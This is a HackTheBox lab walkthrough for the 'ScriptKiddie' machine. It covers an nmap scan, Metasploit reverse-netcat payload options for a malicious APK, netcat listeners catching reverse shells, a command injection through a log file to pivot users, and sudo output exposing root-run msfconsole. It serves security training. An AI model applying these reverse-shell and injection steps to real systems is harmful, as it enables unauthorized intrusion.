Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 1.3kReading time ≈5 mins.
introduce
OS: Linux Difficulty: Easy Points: 20 Release: 06 Feb 2021 IP: 10.10.10.226
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/ScriptKiddie] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.226 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
Port 5000 Webapp
Some kind of hacking tool.
When generating any windows or linux payload using the website on port 5000 we discover a /static/payloads/name.exe of generated payloads where we can download from:
Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.apk yes The APK file name
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.3 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
┌──(root💀kali)-[~/hackthebox/machine/ScriptKiddie] └─# nc -lvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.226. Ncat: Connection from 10.10.10.226:56260. id uid=1000(kid) gid=1000(kid) groups=1000(kid) whoami kid python -c 'import pty; pty.spawn("/bin/bash")' /bin/sh: 3: python: not found python3 -c 'import pty; pty.spawn("/bin/bash")' kid@scriptkiddie:~/html$ id id uid=1000(kid) gid=1000(kid) groups=1000(kid) kid@scriptkiddie:~/html$ cd cd kid@scriptkiddie:~$ ls ls html logs snap user.txt kid@scriptkiddie:~$ cat user.txt cat user.txt b8f1aa40582cab9d40ac5866fbb13ec1
and the user flag…
get root
There is also a second user of name pwn.
After a shell on the box we found a script running as pwn:
After quick testing for command injection inside /home/kid/logs/hackers file we were able to put two spaces and then semicolon with our bash reverse shell in order to get command execution (We also commented out the rest of the nmap command with ‘#’ in the script in order to escape the redirection to /dev/null output):
┌──(root💀kali)-[~] └─# nc -lvp 443 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.10.226. Ncat: Connection from 10.10.10.226:57604. bash: cannot set terminal process group (842): Inappropriate ioctl for device bash: no job control in this shell pwn@scriptkiddie:~$ id id uid=1001(pwn) gid=1001(pwn) groups=1001(pwn) pwn@scriptkiddie:~$ whoami whoami pwn pwn@scriptkiddie:~$ sudo -l sudo -l Matching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole